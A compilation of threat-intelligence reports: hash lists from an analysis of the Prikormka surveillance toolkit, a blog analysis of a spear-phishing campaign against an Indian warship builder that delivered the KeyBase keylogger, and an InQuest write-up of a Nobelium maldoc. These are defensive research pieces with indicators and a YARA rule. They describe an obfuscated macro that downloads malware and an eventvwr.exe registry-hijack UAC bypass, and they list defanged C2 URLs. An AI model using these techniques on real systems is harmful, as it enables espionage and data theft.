35159C96F695B96773C5C1DCF8206DBE75A83D86 Prikormka CORE modules: 2A64606DB1DB872E7176F0C6C3FF932E2146BFC9 328DE44A4B6140EF49CE1465482EFE0E4C195399 520AA689066D0C69F6FD9C623E263211022CCF21 790367A2032951488FC6F56DCF12062AE56CAA61 551CD9D950A9C610E12451550BD6A3FBF5B00B77 EF3244AB1DF7D74F1FC1D8C3AF26A3D3EA4364A5 1636112D8441A6616B68CBE9DC32DDB5D836BBA1 8A57E5EED18A6DB6F221B1B9E8831FE4A9CAD08C DCB813E5D2A1C63027AADC7197FD91505FD13380 A360EAC305946FF468E1A33E84ED38176D95CAC9 8F67C4BD2EE7C68249DCD49AD7A3924D3EC6810C C020EFFD3C7AD06907ECFEA424BE1DCB60C7447D D2A98115DF0C17648CCB653AF649D24B528B471D D7EEB8DB22AAD913B38E695A470E8B2F1440D4D3 154AA820D552ABD65C028DED7E970C8DEFA8C237 83B492A2905CE6ACFADE43AB52BF52E6F02FDCD5 4F945A3B3EB058668C3DFC0A8469B42E16C277A7 963963004E4CA0D966D84324EC8ED3694F6A7F5B 9DE8860AD499E64F8BDCFC800DDAFF49D4F948E5 C9C2510654081D621A5B1768520D7D7C04219FCB 9D025A015FDB720C0FDEBCFE54661F3ACED94E3E D09B6194453BFC59EB438E455D14621B280DF4A6 1A865E934EFF339A826979C70A2FC055E3C9D12F 4C5F412C915FB3F178A81BC4FBDA336F69A22086 7372639A9E5C274DFFAA35ABF4C8E7A0BEBD4305 311672ECB756E52AD396227DD884D1C47234961A 7A22E549BE02F7F4753BB9CBA34079CEB15CA381 6AB00FCABC6BC06586F749F54C4955592285608C 66248AE0A3D6B5091C629343CC535F98E08A2947 0DD8E1922CEB96061C9F6678728DD45CBDC6F675 A093993B9488A9427300B2AC41460BE8164A0F9A 6D861826206D834A224583898BE6AF1A3D46E7CF 64679BDB8A65D278CDA0975F279D8881E1ABD40A 92476C6AE5F976C58D11BDD956878451F361776D 202637EF3C9B236D62BE627C6E1A8C779EB2976B C41BB97C203D6221FB494D732CB905FF37376622 986E739948E3B5C303F7766F9F9AF3D2E1A5BCA7 3AB61FEC417686AFC1AC430AAF5A17254D05A14A 0D7785E53AB1A7F43902AFF50E7A722C0E0B428F B5EEAE045F1082438E4C7B7F12F7F4630043A48E 57E345893F508F390F2947E83092A47D845EA445 C9756E95679EAD052D53ADCFA39BB4B1402C9126 D864067BFA52383BC012BA1AAF8FFB893D419C07 CDD58347F873EB7E0BC602DA9930A519683C67C7 DFABE31E58334C873AEDD361D69D5C80016F9F42 625D822EE0D95C6E581B929C6C4E4B44D749D2BB A224A76DABE62BD7CA055CA1119108AD5812AF06 E4C56D11E84497EEC3E275043E36845EB2F3F57E B43713CBD307BC12AD7BA61C87975F74221A3439 AED9C3BCA2B42889A9110B92D3D31B5FD3324BDF 6AE2C768D932EDA538983DD7A50CF7DE14BF54D2 35Operation Groundbait: Analysis of a surveillance toolkit BE73A2C17AAE689BC1A20761850374636B67BF0F 80FFA899CB3A6595FAFA66421BCCD6E5AAAD8552 7C5F7296DDDA9B188B572DF348843F822BD6ED21 F9EB705D8A1EDC7FF9B93D9CF9211840C4482865 7979BEC789770860A6F12B7A7D41470DE4AFC873 6DF75137E8966537BB921EAB30DF4F7BC2C6FEB4 2115C50CAF8D1B365D78818DF84A8CE29F7FD9E8 AFDAD724A2C351C750DB43688D107B1300B1D1D4 64002D2C4C6678776C64BB018736C9B0745F47F4 7843CB7DE03C8B564FD72D923B4BD6D28A466A3C EB4647CA60FEA9049A34EC59D9658946A2C26D9D ED3D4EEF28174F60F1653F35000B871F6E023D21 860D0CDFC065E91083979DD50A72251C26A638A4 FC2C689C507FED54432AD1726E524B38F52B187A D219640BA205A7013A23BA19CD6C2B32439F105E DE60C2A81AE2F3E5DBD2B2D0DBEBDB56FED62F7C D38FDAE48EABF2642F3327FAC865B079233CC7C6 B23995462751EDFAD19B72BEA4A047CC89533A59 88ED6686CF59F12AA984216EC60097C4BD319007 DEF9B207BFD7C6D4B216DF2B37C33CD851DC7FE1 8D49305FD140B179D2293FBAFF6E7CE46A03AF16 F35B1D2165EC00A56EE6DE89D09963DD3FD02744 B42234F5A5EFB6423E9D4904BA282127F1282C8E 326ADEA3AC1F8FAC3B522E6B47941263DA110A42 3E023A83EAA85A77B935B2D3A00AEB5B1ADCD9CC 129B852E62CB7BF487D5F37E17F6E3CC9A838DB8 F030559F81B8DC3CC0DED6C46C6D1BBB67A2CA65 3C904AFB938EFCF210F388E5AA46379AEADBCD50 D8921385ADAFF131C9D452A4D9BBA2C7D755880E 915F7F5471A94A6E095EE8D90FCFE84E7A5FE1D5 0DB71AA8B51FAACEA7D4C5819EC6AF9C342D02FD A4847B06E603E90640051FCDD5D1515F007F7BD5 7C9E4CC3F5B260439D69E93376AA668BF32123D0 3246B5F43756DC8DC4438933005DF66A3C8CE25F E97B383E3CF55D0792F22D57273C18848B849C6E 7C6FA82657B291FAFE423B7B45D0ED732F4D5352 4595EAB593594860985F5FB501B85386F1F1A5B8 45F1F06C3A27CE8329E2BDCDEEA3C530711B5B72 476DCA86DE7AF1F15327084021A3BB7F42818248 70A362985D5237ACD6282E16A238B0FDB1002A1F 73596D1587549DC234588FCB5666BEEFD7C90D81 97958B3124EC5DCAB64DD88A1E97E6B585B04628 B47640C4952ACC2705F7EAD9E8EAA163059FD659 596F945AB52AE0E780905E150ACD2017AB2ECDFC 5CEFFF9C7D016364D40F841CB74D65BB478BA0C6 424DD485FA8572DB84CF6845C27C1F8679A61AEC 099C5611F3BDBB8D453DFBF7967F30891906FF2C 7C2587B85178AD89389D957F11AF1065C46F66DB 840AFB728FDA57195E53F225CB3F6E788B96A579 12ACC64605D4FE2F3CEEEFBD0A7C4FD655E6AEAA Prikormka DOCS_STEALER modules: BA434FB6169E8A1785E353EEBF9B907505759A07 A34BD2A059F57FB1FE281A2BD7247A9A72A467B8 04DEB60B6A1D53448EFFB34EA7C55E6916FE32B1 C75D8850273431A41F0EFCF8F74E86BCFE1DFA5A 7C9CB1619FFCF36B32273E1A78A58D817D2B7C8C A580856FA6AC3159F0A7E91D5992810B953A36A1 5C82CA8B2E8320E6B6C071CCB0D4EF9B03001CAA 7275A6ED8EE314600A9B93038876F853B957B316 9286B96452C519D5E1E74D1CDDBDD76B51F4FBAA FAB3B3371AA5878B6508DA487735E3A674A9F61B 0D4839F99C30AD76E082851A214A32116CE932A7 652B012E0ACACB78221CAA7A3C3EE461F07264EA Prikormka KEYLOGGER modules: BFDCD0A3F7495C43D8D42B4272BDC90695DC44D7 CC42C6BEEB70D3A9BC7E1159C644E54DE2BE5CBC 6A4F24665569DD61FD29AF8FDCB3E2C90961DFF0 D1DA3076830813EC6FFF0B0DE3462BB5B713A090 E6D92C025CF726B08288B6798AEEFCF550D51C31 0B81BA761C6BA88C0AFC682693D99355E55F5A76 0CDC66ACBB5B7D6FAA85F7DF8D747A96CED7A9BD 194316ADC74AEDED98EE2696B4AB54900A6EDF15 45959818DBA4924E129E22CF1B0BDF02C2DD7B49 820EAC424FC27296FE725E1C5DAA8F6C53E104A7 25D6F1EFD758AACE399C6D62A89BE039281CFF69 722E1CDA3C516D43F17A6D4F5F1390D16113BC30 DE966273DD5AD4DAA01562109932EBD39A13A5A2 Prikormka SCREENSHOTS modules: 645DFA35E41F6442793CF7647A75956E05563DE8 AD74ABEA34A20D0196A152E6668E3C29135B22D4 Prikormka MICROPHONE modules: FCE83DF7018A49072F9A28A8E135EB00C011D9EB 2C76974722287C7CDB0FCA2BC6CCEDEE62E77D24 Prikormka SKYPE modules: C3AA3DBD33751F85002F2F65562098F516737435 2A0EA9E0F3F8E6507D212640594ACF52910275E9 1BB3BBCA79BA45E4215DFC2A6960E03BA60A2B71 0CB528C69706A6513A0E70D3A07A75822F79E6EC 423BCEFC82A14258BDC2CD9740454D28F894DC06 FEAB6E92B905114980B5633F8742E4A7DCD0B4FA BB6CE0957F7E8430007FA4DE1E47C190E1C97AC5 658DF9B4BB13459A9507466BB7D22B723C85D1C5 6C24E244A0DDA2CADED4D1B5CC8B820A46DC19F4 36Operation Groundbait: Analysis of a surveillance toolkit Prikormka LOGS_ENCRYPTER modules: D5C2C7C3D670D63AD6998848747A0418665EA2CB 352C36ED1BF7EB74C9649615F9A40C13D80EE55D 6740A385AB33B9CC3EC22FB7971F93538BE44997 22F10F17AB9F18D9BF1FE9EEEA413A9787B29D4C E95458CA9663E4FAB94DD232121D5E994A76015D 2BD3FE012486BD89C87858CC4C3DC9D86742738C Prikormka GEOLOCATION modules: 50CCCD576A815AC8EFFB160A628646C876DF8CB0 Prikormka OS_INFO modules: 4B8EE967F44ECA2EEB3B8420A858CECFE0231208 72C17994336FE4E1B3CF0D7A6CBC45AA43A8DDF0 824F0E198A8A6E08FB95920AEF06870A6305FE3F 6C902496AC1FEF60D343B03822F49DB5F66BE038 Prikormka PASSWORDS modules: B986114C5173052FCB9583A55D5099D99B709352 17F5E1FC52D6C617CD81B0983B70FAC7A60F528C Prikormka FILE_TREE modules: 3EDD14E6FA0297ED3162D7F119D8D126662ED28B 2A5AF8E43887051C1F1B488756AAC204B95561CE 4E40286676FCBAC48070BA86B72761A21AC2466C 3E4BE58421DBAEA7651DA13B16CB900DB82A7DEF D1396938E981DD807103B7B9F9442B99952C21AA 74CDA4D4C776CA2A661AC49B6D0E0F0560380A04 8EFDC716FDFD704EC0296860E61AFF9C952946D4 93E196B59771647828BBC3C3B61831150FE1FE02 8384ED4EA9E299306F15A1082231C427A8742271 6E70BE32954E41FAFFC496EAF890B279832B4530 8EA98A8D3D8F62C4543B3DD36E6D6F79F1ACB9E7
2/10/2017 Cyber Attack Targeting Indian Navys Submarine and Warship Manufacturer cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/ In my previous blog posts I described attack campaigns targeting Indian government organizations, and  Indian Embassies and Ministry of External affairs.
In this blog post I describe a new attack campaign where cyber espionage group targeted the users of Mazagon Dock Shipbuilders Limited (also called as ship builder to the nation).
Mazagon Dock Shipbuilders Limited (MDL) is a Public Sector Undertaking of Government of India (Ministry of Defence) and it specializes in manufacturing warships and submarines for the Indian Navy.
In order to infect the users associated with Mazagon Dock Shipbuilders Limited (MDL), the attackers distributed spear-phishing emails containing malicious excel file which when opened drops a malware capable of spying on infected systems.
The email purported to have been sent from legitimate email ids.
The attackers spoofed the email id associated with a Spain based equipment manufacturing company Hidrofersa which specializes in designing, manufacturing naval, industrial and mining machinery.
Overview of the Malicious Emails On 26th January, 2017 Indian Navy displayed its state-of-the-art stealth guided missile destroyer INS Chennai and the indigenously-made Kalvari class Scorpene submarines at the Republic Day parade showcasing Indias military strength and achievements.
INS Chennai and Kalvari class submarines were manufactured by Mazagon Dock Shipbuilders Limited (MDL).
On 25th January (day before the Republic day) attackers spoofed an email id associated with Hidrofersa a Spain based company which specializes in designing, manufacturing naval, industrial and mining machinery and the email was sent to the users of Mazagon Dock Shipbuilders Limited (MDL).
The email attachment contained two malicious excel files (both excel files turned out to be same but used different names).
The email was made to look like it was sent by a General service manager of Hidrofersa enquiring about the product delivery schedule.
Below screen shot shows the recipients associated with Mazagon Dock Shipbuilders Limited (MDL), this information 1/13 https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/ https://cysinfo.com/malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government-organizations/ https://cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/ https://en.wikipedia.org/wiki/Mazagon_Dock_Limited http://hidrofersa.com/?langen https://en.wikipedia.org/wiki/INS_Chennai_(D65) https://en.wikipedia.org/wiki/Kalvari-class_submarine https://cysinfo.com/wp-content/uploads/2017/02/1.png https://cysinfo.com/wp-content/uploads/2017/02/2.png https://cysinfo.com/wp-content/uploads/2017/02/3.png https://cysinfo.com/wp-content/uploads/2017/02/3a.png https://cysinfo.com/wp-content/uploads/2017/02/4.png https://cysinfo.com/wp-content/uploads/2017/02/5.png https://cysinfo.com/wp-content/uploads/2017/02/6.png https://cysinfo.com/wp-content/uploads/2017/02/7.png https://cysinfo.com/wp-content/uploads/2017/02/18.png https://cysinfo.com/wp-content/uploads/2017/02/8.png https://cysinfo.com/wp-content/uploads/2017/02/9-1.png https://cysinfo.com/wp-content/uploads/2017/02/10.png https://cysinfo.com/wp-content/uploads/2017/02/11.png https://cysinfo.com/wp-content/uploads/2017/02/12.png https://cysinfo.com/wp-content/uploads/2017/02/13a.png https://cysinfo.com/wp-content/uploads/2017/02/13b.png https://cysinfo.com/wp-content/uploads/2017/02/13c.png https://cysinfo.com/wp-content/uploads/2017/02/13d.png https://cysinfo.com/wp-content/uploads/2017/02/19.png https://cysinfo.com/wp-content/uploads/2017/02/14a.png https://cysinfo.com/wp-content/uploads/2017/02/14b.png https://cysinfo.com/wp-content/uploads/2017/02/15.png https://cysinfo.com/wp-content/uploads/2017/02/16.png https://cysinfo.com/wp-content/uploads/2017/02/17a.png https://cysinfo.com/wp-content/uploads/2017/02/17b.png was determined from the Email header.
Mazagon Dock Shipbuilders Limited (MDL) is listed as one of clients of Hidrofersa  (mentioned in Hidrofersa website) and as per their website Hidrofersa has shipped equipments to Mazagon Dock Shipbuilders Limited (MDL) in the past as shown in the below screen shots.
This is probably the reason attackers spoofed the email id of Hidrofersa as it is less likely to trigger any suspicion and there is high chance of recipients opening the attachment as it is coming from a trusted equipment manufacturer (Hidrofersa) .
It looks like attackers carefully researched (or they already knew about) the trust relationship between these two companies.
From the email it looks like the goal of the attackers was to infect, take control of the systems of users associated with Mazagon Dock Shipbuilders Limited (MDL) and to steal sensitive information (like Product design documents, blueprints, manufacturing processes etc) related to warships and submarines.
Analysis of Malicious Excel File When the recipient of the email opens the attached excel file it prompts the user to enable macro content and the excel also contains instruction on how to enable the macros.
2/13 Once the the macro content is enabled, it calls an auto execute function Workbook_Open() which in turn downloads the malware sample and executes on the system.
The malicious macro code was reverse engineered to understand its capabilities.
The macro code was heavily obfuscated (used obscure variable/function names to make analysis harder) as shown below.
The macro also contained lot of junk code, unnecessary comments and variable assignments as shown below.
The attackers used this technique to delay, divert and confuse the manual analysis.
3/13 The macro then decodes a string which runs PowerShell script to download malware from a popular university site located in Indonesia as shown below.
The attackers probably compromised the university website to host the malware.
The technique of hosting malicious code in a university site (legitimate site) has advantages and it is unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices.
The PowerShell script (shown below) drops the downloaded executable in the TEMP directory as doc6.exe.
It then adds a registry entry for the dropped executable and invokes eventvwr.exe, this is an interesting registry hijack technique which allows the doc6.exe to be executed by eventvwr.exe with high integrity level and also this technique silently bypasses the UAC (user account control).
This technique of UAC bypass is mentioned in the blog Fileless UAC Bypass Using eventvwr.exe and Registry Hijacking 4/13 https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Normally when eventvwr.exe process (which is running as high integrity process) is invoked, it starts mmc.exe which opens eventvwr.msc causing the Event Viewer to be displayed.
To start mmc.exe, eventvwr.exe searches this registry key HKCU\Software\Classes\mscfile\shell\open\command looking for mmc.exe before looking at HKCR\mscfile\shell\open\command.
In this case since this registry  HKCU\Software\Classes\mscfile\shell\open\command was hijacked to contain the entry for doc6.exe , this will cause the eventvwr.exe process to invoke doc6.exe with high integrity level.
Below screen shot shows doc6.exe running from the TEMP  directory The dropped file (doc6.exe) was determined as KeyBase malware.
This malware can steal and send sensitive information to the attackers like keystrokes, opened applications, web browsing history, usernames/passwords, upload Desktop screen shots etc.
The feature of uploading the Desktop screen shot is notable because if the infected user opens a design or design document related to submarines or warships the screen shot of that can be sent to the attacker.
The attackers also hosted multiple samples of KeyBase malware in the compromised university website.
Below screen shot shows hashes of 25 samples hosted on the university site.
5/13 Analysis of the Dropped Executable (doc6.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server).
This section contains the behavioral analysis of the dropped executable Once the dropped file (doc6.exe) is executed the malware copies itself into AllUsersProfile directory as Important.exe, In addition to that it also drops two files Mails.txt and Browsers.txt into the same directory as shown below.
The malware then creates a registry value for the the dropped file (Important.exe), this ensures that malware is executed every time the system restarts.
6/13 The malware after execution keeps track of the user activity (like applications opened, files opened etc) but does not immediately generate any network traffic, this is to make sure that no network activity is generated during automated/sandbox analysis.
After sleeping for a long time malware makes an http connection to the C2 server (command  control server) and sends the tracked user activity to the attacker.
The below screen shot shows the communication to the C2 server on port 80.
C2 Communication Pattern Once malware makes an http connection after sleeping for a long time, it sends the system information and the tracked activity to the C2 server as http parameters.
Below screen shot shows the network communication pattern where the hostname and the machine time is sent to C2 server.
Below screen shot shows a network communication pattern where the opened window title was sent to the C2 server, this pattern below indicates that test.txt file was opened with notepad on the infected system.
7/13 Below screen shot shows a network communication pattern indicating a document named secret.docx was opened with Microsoft Word.
Below screen shot shows a network communication pattern indicating Internet Explorer was launched on the infected system.
Every activity on the infected system is sent to the attacker, this allows the attacker to take further action and also since the open window title is sent to attacker, this lets the attacker know about the documents opened and the tools running on the system or if any analysis tools are used to inspect the malware.
C2 Domain Information This section contains the details of the C2 domain (tripleshop[.
]id).
All the 25 samples hosted on compromised university site was analyzed and it was determined that all these samples also communicated to the C2 domain tripleshop[.
]id 8/13 The C2 domain was associated with only one IP address .
This IP address is associated with hosting provider in Indonesia as shown in the screen shots below Below screen shot shows the timeline when the IP address was active.
The IP was first seen to be active on 18th Jan, 2017 (one week before the spear-phishing mail was sent to the victims).
Threat Intelligence Even though attackers tried to make it look like the spear phishing email was sent by an email id associated with Hidrofersa but inspecting the email headers revealed some interesting information.
The X-AuthUser in the header below revealed the identity of the sender.
The sender is associated with a company named Combined Freight (PVT) Limited (combinedfreight[.
]com) 9/13 Combined Freight (PVT) Limited is freight forwarding company which is into ocean  air freight business headquartered in Karachi, Pakistan (as per their website).
This company has 4 other offices in Pakistan (Lahore, Islamabad, Sialkot, Faisalabad).
Below is the screen shot taken from their website.
10/13 Based on the information mentioned above, It looks like the spoofed email was sent by a user associated with a Pakistan based company Combined Freight (PVT) Limited.
Indicators Of Compromise In this case the cyber espionage group targeted Mazagon Dock Shipbuilders Limited (MDL) but it is possible that other defense equipment manufacturers could also be targeted as part of this attack campaign.
The indicators associated with this attack are provided so that the organizations (Government, Public, Private organizations, Defense and Defense equipment manufacturers) can use these indicators to detect, remediate and investigate this attack campaign.
Below are the indicators Dropped Malware Sample: 08f2fc9cb30b22c765a0ca9433b35a46 Samples hosted on the compromised University site: 6c94b4c7610d278bf8dfc3dbb5ece9ce a81eaed8ae25f5fa5b107cbc6fe6e446 9a708879fd0a03d4089ee343c9254e5b 069629248742f9d762f66568ba7bcec8 6455a43366f4da09429738076e7f289c 34d5a3d6ae3c1836e0577b6f94ee0294 6eee8a69bc40b104931abdd68509df85 01c85dd7d8202765331a5cc818948213 42664aa65c473832a5c0df62c8b38d68 18e7480894149194f2cd17ee40d0ad7b 575b4b449a12f2bed583f2a59485f776 eae013aec7f45661223ea115ee38cc95 33b9c2c2cbecd4a4844057491b02379e bf499821c935e67e0fb606915453a964 42e411bcb48240fb44c48327b81d8c57 efaa8d161bbe6342204ffa5b1b22ed0c 4623d0e188dc225de8dcd494c7802f7f 3cba51905a78bd221a2433ee180111c0 a6e6a131887c0cdbf67569e1320840d8 08f2fc9cb30b22c765a0ca9433b35a46 44b7aaea854a1a3a0addb521eb7c5eb9 11/13 22730ae47acc178c0445c486d16d7ae9 5b5edc209737b6faa3a6d6711fba1648 bf5e7ea70c2dab12100b91d77ca76ff2 34c44c9138a2d4c31391c2cc0b044c02 Network Indicators Associated with C2: tripleshop[.
]id 103[.]229[.]74[.
]32 C2 Communication Patterns: hxxp://tripleshop[.
]id/userfiles/media/pixum/okilo/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/agogo/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/alpha/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/ariri/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/bobby/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/chisom/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/crack/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/declan/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/elber/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/figure/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/henry/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/ike/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/jizzy/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/kcc/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/kc/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/matte/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/nels/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/notes/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/polish/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/turbo/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/whesilo/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/yboss/post.php hxxp://tripleshop[.
]id/userfiles/media/pixum/yg/post.php Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and using an email theme relevant to the targets.
The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to steal the intellectual property such as design/blueprints and manufacturing data related to submarines and warships.
Victims/targets chosen (Submarine  Warship manufacturer for Indian Navy) Use of Email theme related to the targets Timing of the spear phishing emails sent to the victims (The day before the Republic Day) Email header information indicating the possible Pakistan connection Use of malware that is capable of spying and uploading screen shots Use of TTPs (tactics, techniques  procedures) similar to the previous campaign The following factors reveal the attackers intention to remain stealthy and the attempt to evade sandbox analysis, manual analysis and security monitoring at both the desktop and network levels.
12/13 https://cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/ Use of obfuscated malicious macro code Use of junk code (to divert the manual analysis) Use of compromised university site to host malicious code (to bypass security monitoring) Use of Silent UAC (user account control) bypass technique Use of Malware that sleeps for long time without generating any network activity (to evade sandbox analysis) Use of hosting provider to host C2 infrastructure Cyber espionage groups will continue targeting defense sectors and defense equipment manufacturers for the following reasons: To steal defense related information and proprietary product information that can provide their sponsoring governments with military and economic advantages.
To identify vulnerabilities in the defense technologies to gain advantage over adversarys military capabilities To reduce their research and development costs and produce and sell similar products at lower prices References http://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/ http://www.brycampbell.co.uk/new-blog/2015/7/14/keybase-malware http://researchcenter.paloaltonetworks.com/2016/02/keybase-threat-grows-despite-public-takedown-a-picture-is- worth-a-thousand-words/ https://www.fireeye.com/current-threats/reports-by-industry/aerospace-threat-intelligence.html Follow us on Twitter: monnappa22 cysinfo22 13/13 http://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/ http://www.brycampbell.co.uk/new-blog/2015/7/14/keybase-malware http://researchcenter.paloaltonetworks.com/2016/02/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/ https://www.fireeye.com/current-threats/reports-by-industry/aerospace-threat-intelligence.html https://twitter.com/monnappa22 https://twitter.com/cysinfo22 Cyber Attack Targeting Indian Navys Submarine and Warship Manufacturer
1/5 Nobelium - Israeli Embassy Maldoc inquest.net/blog/2022/04/18/nobelium-israeli-embassy-maldoc A few days ago, we discovered an interesting sample that we believe is part of the Nobelium campaign, also known as Dark Halo.
The document was uploaded to the VirusTotal service from Spain.
It contains an attractive visual lure representing a document from the Israeli embassy.
We will look at the threat vector and provide some indicators of attack that can help defenders identify or respond.
File Type Office Open XML Document Sha 256 7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b Creation Time 2022-01-10 12:37:00 UTC Figure 1: A visual lure that mimics a broken font.
The visual lure is designed so that the target would interpret that the font is not displayed and activate the embedded content.
Multiple scans of the file in the Virustotal service did not detect the ill intent.
The original name of this file is Ambassador_Absense.docx.
https://inquest.net/blog/2022/04/18/nobelium-israeli-embassy-maldoc https://labs.inquest.net/dfi/sha256/7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b 2/5 Figure 2: Abysmal detection history Figure 3: Total evasion When opening the document and activating content, the HTA script is launched, invoking a piece of JS.
The script has the functionality to decrypt the executable library and run it.
Figure 4: The JavaScript drops a DLL 3/5 The image above shows how the program decrypts the payload with a normal xor operation with a hardcoded key.
The executable library is created in the following directory.
C:\Users\user\AppData\Local\Temp\..\IconCacheService.dll File Type Dll X64 Sha 256 95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f Creation Time 2022-01-17 09:33:38 UTC Once launched, the malicious code collects data about the system on which it is launched.
And sends the details to a remote server.
Figure 5: Enumeration functions After sending all the data, the server waits for a response and for receiving further payload to execute.
The program uses trello.com to exchange data.
This is so done in order to complicate the attribution and belonging of the work to any threat actor.
IOCs Carrier Doc: 7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b Stage 2 DLL: 2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5 95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f 8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca 5f01eb447cb63c40c2d923b15c5ecb5ba47ea72e600797d5d96e228f4cf13f13 C2: hxxps://api.trello[.
]com/1/members/me/boards?
key664f145b65b9ea751df4dd21a96601f0token39daa5890c85fba874a352473b2fa9a97c7839223422411c22f22970f3b71ecc https://labs.inquest.net/dfi/sha256/7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b https://www.virustotal.com/gui/file/2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5 https://www.virustotal.com/gui/file/95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f https://www.virustotal.com/gui/file/8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca https://www.virustotal.com/gui/file/5f01eb447cb63c40c2d923b15c5ecb5ba47ea72e600797d5d96e228f4cf13f13 4/5 hxxps://api.trello[.
]com/1/members/me/boards?
key326f330aab6aa067b808d5bd93bd077dtokenabe916f8fe7fa2ddfd3e1bd6edd52fbd80219ed0c289ae21234d496cf449488d Detection: rule APT_Nobelium_Beatdrop_Feb_2022_1 : nobelium beatdrop downloader  meta: description  Detect the Beatdrop malware used by Nobelium group author  Arkbird_SOLG reference  https://twitter.com/DmitriyMelikov/status/1512515753987223564 date  2022-04-10 hash1  2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5 hash2  95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f hash3  8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca tlp  White adversary  Nobelium strings: s1   48 81 ec 58 04 00 00 31 db 48 8b 3d 3a ea 03 00 89 d8 49 89 ce 49 89 d5 48 8b 0d 1b da 02 00 4c 89 c6 4c 89 cd f3 aa 45 31 c9 c7 44 24 20 00 00 00 00 45 31 c0 ba 01 00 00 00 48 c7 05 0d ea 03 00 00 00 00 00 48 8d 0d 2e ea 02 00 ff 15 [2] 04 00 49 89 c4 48 85 c0 0f 84 6d 01 00 00 4c 89 ea 45 31 c9 41 b8 bb 01 00 00 48 89 c1 48 c7 44 24 38 01 00 00 00 c7 44 24 30 00 00 00 00 c7 44 24 28 03 00 00 00 48 c7 44 24 20 00 00 00 00 ff 15 [2] 04 00 49 89 c5 48 85 c0 0f 84 21 01 00 00 4c 89 f2 45 31 c9 49 89 f0 48 89 c1 48 c7 44 24 38 01 00 00 00 c7 44 24 30 00 00 c0 44 48 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 s2   48 8d 84 24 ?
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01 00 00 48 8d 84 24 [2] 00 00 48 89 84 24 ?
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01 00 00 31 c0 f3 ab 4c 89 ?
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00 00 00 04 01 00 00 48 89 44 24 ?
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ff 15 [2] 04 00 85 c0 0f 84 ?
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14 00 00 48 8b 4c 24 s3   ff 15 [2] 04 00 85 c0 0f 84 82 00 00 00 48 8b 2d [2] 04 00 31 db 4c 8d 7c 24 4c 48 8d 7c 24 60 b9 fc 00 00 00 89 d8 4d 89 f9 f3 ab 48 8d 74 24 50 4c 89 f1 48 c7 44 24 50 00 00 00 00 48 c7 44 24 58 00 00 00 00 41 b8 ff 03 00 00 48 89 f2 ff d5 85 c0 74 3a 8b 4c 24 4c 85 c9 74 32 48 8b 05 cd e8 03 00 48 03 05 be e8 03 00 48 89 c7 f3 a4 48 8b 15 b2 e8 03 00 8b 44 24 4c 48 03 05 af e8 03 00 48 89 05 a8 e8 s4   48 8d 84 24 ?
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00 00 00 04 01 00 00 ff 15 [2] 04 00 ba 04 01 00 00 4c 89 ?
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24 [2] 00 00 4c 8d a4 24 [2] 00 00 48 8b 46 18 48 8b 04 18 48 85 condition: uint16(0)  0x5A4D and all of (s)  Tags APT threat-intel in-the-wild Get The InQuest Insider Find us on Twitter for frequent updates, follow our Blog for bi-weekly technical write-ups, or subscribe here to receive our monthly newsletter, The InQuest Insider.
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Operation Ke3chang Resurfaces With New TidePool Malware posted by: Micah Yates, Mike Scott, Brandon Levene, Jen Miller-Osborn and Tom Keigher on May 22, 2016 6:00 PM filed in: Malware, Unit 42 tagged: AutoFocus, BS2005, CVE-2015-2545, Ke3chang, Operation Ke3chang, TidePool Introduction Little has been published on the threat actors responsible for Operation Ke3chang since the report was released more than two years ago.
